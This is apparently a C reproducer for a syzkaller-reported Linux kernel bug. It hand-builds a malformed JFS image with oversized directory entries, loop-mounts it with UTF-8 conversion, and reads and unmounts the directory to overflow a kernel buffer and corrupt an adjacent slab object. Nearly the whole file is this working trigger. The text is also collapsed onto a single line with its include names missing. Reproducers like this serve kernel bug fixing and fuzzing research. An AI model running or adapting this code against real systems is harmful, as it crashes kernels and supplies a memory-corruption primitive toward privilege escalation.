// https://syzkaller.appspot.com/bug?id=df1eeec5f7b3b2b1fa8f0e20cf3cc219e8675ef0 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define PSIZE 4096 #define DISIZE 512 struct pxd { uint32_t len_addr; uint32_t addr2; }; static inline void set_pxd(struct pxd *p, uint32_t len, uint64_t addr) { p->len_addr = (len & 0xFFFFFF) | ((addr >> 32) << 24); p->addr2 = addr & 0xFFFFFFFF; } static inline void set_xad(uint8_t *xad, uint8_t flag, uint64_t off, uint32_t len, uint64_t addr) { xad[0] = flag; xad[1] = 0; xad[2] = 0; xad[3] = off >> 32; *(uint32_t *)(xad + 4) = off & 0xFFFFFFFF; set_pxd((struct pxd *)(xad + 8), len, addr); } int slot_idx = 1; void add_entry(uint8_t *leaf, int8_t *stbl, int namlen, int extra_slots) { int entry_idx = leaf[17]; stbl[entry_idx] = slot_idx; leaf[17]++; uint8_t *ldt = leaf + slot_idx * 32; *(uint32_t *)(ldt + 0) = 2; // inumber *(int8_t *)(ldt + 4) = 0; // next *(uint8_t *)(ldt + 5) = namlen; for (int i = 0; i < 11; i++) *(uint16_t *)(ldt + 6 + i * 2) = 0xFFFF; *(uint32_t *)(ldt + 28) = entry_idx + 2; // index int chars_left = namlen - 11; slot_idx++; if (chars_left <= 0 && extra_slots == 0) { *(int8_t *)(ldt + 4) = -1; return; } *(int8_t *)(ldt + 4) = slot_idx; while (chars_left > 0 || extra_slots > 0) { uint8_t *dt = leaf + slot_idx * 32; for (int i = 0; i < 15; i++) *(uint16_t *)(dt + 2 + i * 2) = 0xFFFF; if (chars_left > 0) { chars_left -= 15; } else { extra_slots--; } if (chars_left > 0 || extra_slots > 0) { *(int8_t *)(dt + 0) = slot_idx + 1; } else { *(int8_t *)(dt + 0) = -1; } slot_idx++; } } int main() { setvbuf(stdout, NULL, _IONBF, 0); int fd = open("jfs.img", O_RDWR | O_CREAT | O_TRUNC, 0644); if (fd < 0) { printf("[-] Failed to open jfs.img: %s\n", strerror(errno)); exit(1); } printf("[+] open jfs.img successful.\n"); int res = ftruncate(fd, 4ULL * 1024 * 1024 * 1024); if (res < 0) { printf("[-] Failed to ftruncate: %s\n", strerror(errno)); exit(1); } printf("[+] ftruncate successful.\n"); uint8_t *image = calloc(1, 30 * PSIZE); if (!image) { printf("[-] Failed to calloc\n"); exit(1); } printf("[+] calloc successful.\n"); // Block 8: Superblock uint8_t *sb = image + 8 * PSIZE; memcpy(sb, "JFS1", 4); *(uint32_t *)(sb + 4) = 1; // version *(uint64_t *)(sb + 8) = 1024 * 1024; // size *(uint32_t *)(sb + 16) = PSIZE; // bsize *(uint16_t *)(sb + 20) = 12; // l2bsize *(uint16_t *)(sb + 22) = 0; // l2bfactor *(uint32_t *)(sb + 24) = PSIZE; // pbsize *(uint16_t *)(sb + 28) = 12; // l2pbsize *(uint16_t *)(sb + 30) = 0; // pad *(uint32_t *)(sb + 32) = 1024; // agsize *(uint32_t *)(sb + 36) = 0x00210100; // flag: JFS_DIR_INDEX | JFS_BAD_SAIT | JFS_GROUPCOMMIT *(uint32_t *)(sb + 40) = 0; // state: FM_CLEAN set_pxd((struct pxd *)(sb + 48), 1, 11); // s_ait2 set_pxd((struct pxd *)(sb + 56), 1, 11); // s_aim2 set_pxd((struct pxd *)(sb + 80), 1, 0); // fsckpxd // Block 11: AIT page 0 (ino1, ino2) uint8_t *ino1 = image + 11 * PSIZE + 1 * DISIZE; *(uint32_t *)(ino1 + 4) = 1; // di_fileset = AGGREGATE_I *(uint32_t *)(ino1 + 8) = 1; // di_number *(uint64_t *)(ino1 + 24) = PSIZE; // di_size *(uint64_t *)(ino1 + 32) = 1; // di_nblocks *(uint32_t *)(ino1 + 40) = 1; // di_nlink *(uint32_t *)(ino1 + 52) = 0755 | 0100000; // di_mode uint8_t *xtroot1 = ino1 + 224; xtroot1[16] = 0x01 | 0x02; // BT_ROOT | BT_LEAF *(uint16_t *)(xtroot1 + 18) = 3; // nextindex *(uint16_t *)(xtroot1 + 20) = 10; // maxentry set_xad(xtroot1 + 32, 0, 0, 1, 19); // len=1, addr=19 uint8_t *ino2 = image + 11 * PSIZE + 2 * DISIZE; *(uint32_t *)(ino2 + 4) = 2; // di_fileset = BMAP_I *(uint32_t *)(ino2 + 8) = 2; // di_number *(uint64_t *)(ino2 + 24) = PSIZE; // di_size *(uint64_t *)(ino2 + 32) = 1; // di_nblocks *(uint32_t *)(ino2 + 40) = 1; // di_nlink *(uint32_t *)(ino2 + 52) = 0755 | 0100000; // di_mode uint8_t *xtroot2 = ino2 + 224; xtroot2[16] = 0x01 | 0x02; // BT_ROOT | BT_LEAF *(uint16_t *)(xtroot2 + 18) = 3; // nextindex *(uint16_t *)(xtroot2 + 20) = 10; // maxentry set_xad(xtroot2 + 32, 0, 0, 1, 20); // len=1, addr=20 // Block 13: AIT page 2 (ino16) uint8_t *ino16 = image + 13 * PSIZE + 0 * DISIZE; *(uint32_t *)(ino16 + 4) = 16; // di_fileset = FILESYSTEM_I *(uint32_t *)(ino16 + 8) = 16; // di_number *(uint64_t *)(ino16 + 24) = PSIZE * 2; // di_size *(uint64_t *)(ino16 + 32) = 2; // di_nblocks *(uint32_t *)(ino16 + 40) = 1; // di_nlink *(uint32_t *)(ino16 + 52) = 0755 | 0100000; // di_mode uint8_t *xtroot16 = ino16 + 224; xtroot16[16] = 0x01 | 0x02; // BT_ROOT | BT_LEAF *(uint16_t *)(xtroot16 + 18) = 3; // nextindex *(uint16_t *)(xtroot16 + 20) = 10; // maxentry set_xad(xtroot16 + 32, 0, 0, 2, 21); // len=2, addr=21 // Block 19: ino1 imap uint8_t *imap1 = image + 19 * PSIZE; *(uint32_t *)(imap1 + 0) = -1; // in_freeiag *(uint32_t *)(imap1 + 4) = 0; // in_nextiag *(uint32_t *)(imap1 + 8) = 32; // in_numinos *(uint32_t *)(imap1 + 12) = 32; // in_numfree *(uint32_t *)(imap1 + 16) = 1; // in_nbperiext *(uint32_t *)(imap1 + 20) = 0; // in_l2nbperiext // Block 20: ino2 dmap uint8_t *dmap = image + 20 * PSIZE; *(uint64_t *)(dmap + 0) = 1024 * 1024; // dn_mapsize *(uint64_t *)(dmap + 8) = 1024 * 1024 - 20; // dn_nfree *(uint32_t *)(dmap + 16) = 0; // dn_l2nbperpage *(uint32_t *)(dmap + 20) = 1; // dn_numag *(uint32_t *)(dmap + 24) = 0; // dn_maxlevel *(uint32_t *)(dmap + 28) = 0; // dn_maxag *(uint32_t *)(dmap + 32) = 0; // dn_agpref *(uint32_t *)(dmap + 36) = 0; // dn_aglevel *(uint32_t *)(dmap + 40) = 0; // dn_agheight *(uint32_t *)(dmap + 44) = 1; // dn_agwidth *(uint32_t *)(dmap + 48) = 0; // dn_agstart *(uint32_t *)(dmap + 52) = 20; // dn_agl2size // Block 21: ino16 imap uint8_t *imap16 = image + 21 * PSIZE; *(uint32_t *)(imap16 + 0) = -1; // in_freeiag *(uint32_t *)(imap16 + 4) = 1; // in_nextiag *(uint32_t *)(imap16 + 8) = 4096; // in_numinos *(uint32_t *)(imap16 + 12) = 4095; // in_numfree *(uint32_t *)(imap16 + 16) = 1; // in_nbperiext *(uint32_t *)(imap16 + 20) = 0; // in_l2nbperiext // Block 22: ino16 iag uint8_t *iag16 = image + 22 * PSIZE; *(uint64_t *)(iag16 + 0) = 0; // agstart *(uint32_t *)(iag16 + 8) = 0; // iagnum *(uint32_t *)(iag16 + 12) = -1; // inofreefwd *(uint32_t *)(iag16 + 16) = -1; // inofreeback *(uint32_t *)(iag16 + 20) = -1; // extfreefwd *(uint32_t *)(iag16 + 24) = -1; // extfreeback *(uint32_t *)(iag16 + 28) = -1; // iagfree *(uint32_t *)(iag16 + 64) = 4095; // nfreeinos *(uint32_t *)(iag16 + 68) = 127; // nfreeexts set_pxd((struct pxd *)(iag16 + 3072), 1, 23); // inoext[0] // Block 23: root inode extent (inode 2) uint8_t *root_ino = image + 23 * PSIZE + 2 * DISIZE; *(uint32_t *)(root_ino + 4) = 16; // di_fileset = FILESYSTEM_I *(uint32_t *)(root_ino + 8) = 2; // di_number *(uint64_t *)(root_ino + 24) = PSIZE; // di_size *(uint64_t *)(root_ino + 32) = 1; // di_nblocks *(uint32_t *)(root_ino + 40) = 2; // di_nlink *(uint32_t *)(root_ino + 52) = 0755 | 0040000; // di_mode *(uint32_t *)(root_ino + 120) = 8; // di_next_index uint8_t *dtroot = root_ino + 224; dtroot[16] = 0x01; // BT_ROOT dtroot[17] = 1; // nextindex dtroot[18] = 7; // freecnt dtroot[19] = 2; // freelist *(uint32_t *)(dtroot + 20) = 2; // idotdot dtroot[24] = 1; // stbl[0] = 1 uint8_t *slot1 = dtroot + 32; set_pxd((struct pxd *)slot1, 1, 24); // len=1, addr=24 slot1[8] = -1; // next slot1[9] = 0; // namlen for (int i = 2; i < 9; i++) { dtroot[i * 32 + 0] = (i == 8) ? -1 : (i + 1); } // Setup inline directory table for persistent index uint8_t *dirtable = root_ino + 128; dirtable[2 * 8 + 1] = 1; // flag dirtable[2 * 8 + 2] = 0; // index in stbl (start processing from index 0) dirtable[2 * 8 + 3] = 0; // addr1 *(uint32_t *)(dirtable + 2 * 8 + 4) = 24; // addr2 // Block 24: root leaf page uint8_t *leaf = image + 24 * PSIZE; leaf[16] = 0x02; // BT_LEAF leaf[17] = 0; // nextindex leaf[20] = 128; // maxslot leaf[21] = 116; // stblindex set_pxd((struct pxd *)(leaf + 24), 1, 24); // self int8_t *stbl = (int8_t *)(leaf + 116 * 32); memset(stbl, -1, 128); // Add entries to position jfs_dirent near the end of the 4096-byte dirent_buf add_entry(leaf, stbl, 255, 0); // Consumes 784 bytes add_entry(leaf, stbl, 255, 0); // Consumes 784 bytes add_entry(leaf, stbl, 255, 0); // Consumes 784 bytes add_entry(leaf, stbl, 255, 0); // Consumes 784 bytes add_entry(leaf, stbl, 216, 0); // Consumes 664 bytes (Total: 3800 bytes) // This entry passes the bounds check but overflows the buffer during UTF-8 conversion. // The extra_slots=1 triggers the "JFS:Dtree error" after the overflow has occurred. add_entry(leaf, stbl, 255, 1); // Correctly set freecnt and freelist after adding entries int free_slots = 0; for (int i = slot_idx; i < 116; i++) { leaf[i * 32 + 0] = (i == 115) ? -1 : (i + 1); free_slots++; } leaf[18] = free_slots; // freecnt leaf[19] = slot_idx; // freelist res = pwrite(fd, image, 30 * PSIZE, 0); if (res < 0) { printf("[-] Failed to pwrite: %s\n", strerror(errno)); exit(1); } printf("[+] pwrite successful.\n"); close(fd); free(image); int loop_ctl = open("/dev/loop-control", O_RDWR); if (loop_ctl < 0) { printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno)); exit(1); } printf("[+] open /dev/loop-control successful.\n"); int dev_nr = ioctl(loop_ctl, LOOP_CTL_GET_FREE); if (dev_nr < 0) { printf("[-] Failed to ioctl LOOP_CTL_GET_FREE: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl LOOP_CTL_GET_FREE successful.\n"); close(loop_ctl); char loop_name[64]; sprintf(loop_name, "/dev/loop%d", dev_nr); res = mknod(loop_name, S_IFBLK | 0660, makedev(7, dev_nr)); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mknod %s: %s\n", loop_name, strerror(errno)); exit(1); } printf("[+] mknod successful.\n"); int loop_fd = open(loop_name, O_RDWR); if (loop_fd < 0) { printf("[-] Failed to open %s: %s\n", loop_name, strerror(errno)); exit(1); } printf("[+] open loop device successful.\n"); int img_fd = open("jfs.img", O_RDWR); if (img_fd < 0) { printf("[-] Failed to open jfs.img: %s\n", strerror(errno)); exit(1); } printf("[+] open jfs.img successful.\n"); res = ioctl(loop_fd, LOOP_SET_FD, img_fd); if (res < 0) { printf("[-] Failed to ioctl LOOP_SET_FD: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl LOOP_SET_FD successful.\n"); close(img_fd); struct loop_info64 info = {0}; info.lo_flags = LO_FLAGS_AUTOCLEAR; res = ioctl(loop_fd, LOOP_SET_STATUS64, &info); if (res < 0) { printf("[-] Failed to ioctl LOOP_SET_STATUS64: %s\n", strerror(errno)); exit(1); } printf("[+] ioctl LOOP_SET_STATUS64 successful.\n"); close(loop_fd); res = mkdir("/mnt/jfs", 0777); if (res < 0 && errno != EEXIST) { printf("[-] Failed to mkdir /mnt/jfs: %s\n", strerror(errno)); exit(1); } printf("[+] mkdir /mnt/jfs successful.\n"); res = mount(loop_name, "/mnt/jfs", "jfs", MS_RDONLY, "iocharset=utf8"); if (res < 0) { printf("[-] Failed to mount: %s\n", strerror(errno)); exit(1); } printf("[+] mount successful.\n"); int dir_fd = open("/mnt/jfs", O_RDONLY | O_DIRECTORY); if (dir_fd >= 0) { char buf[8192]; syscall(SYS_getdents64, dir_fd, buf, sizeof(buf)); close(dir_fd); printf("[+] getdents64 successful.\n"); } else { printf("[-] Failed to open /mnt/jfs: %s\n", strerror(errno)); exit(1); } // The path lookup during umount will access the corrupted adjacent slab object, // triggering the GPF in smack_inode_permission. res = umount("/mnt/jfs"); if (res < 0) { printf("[-] Failed to umount: %s\n", strerror(errno)); exit(1); } printf("[+] umount successful.\n"); sleep(1); return 0; }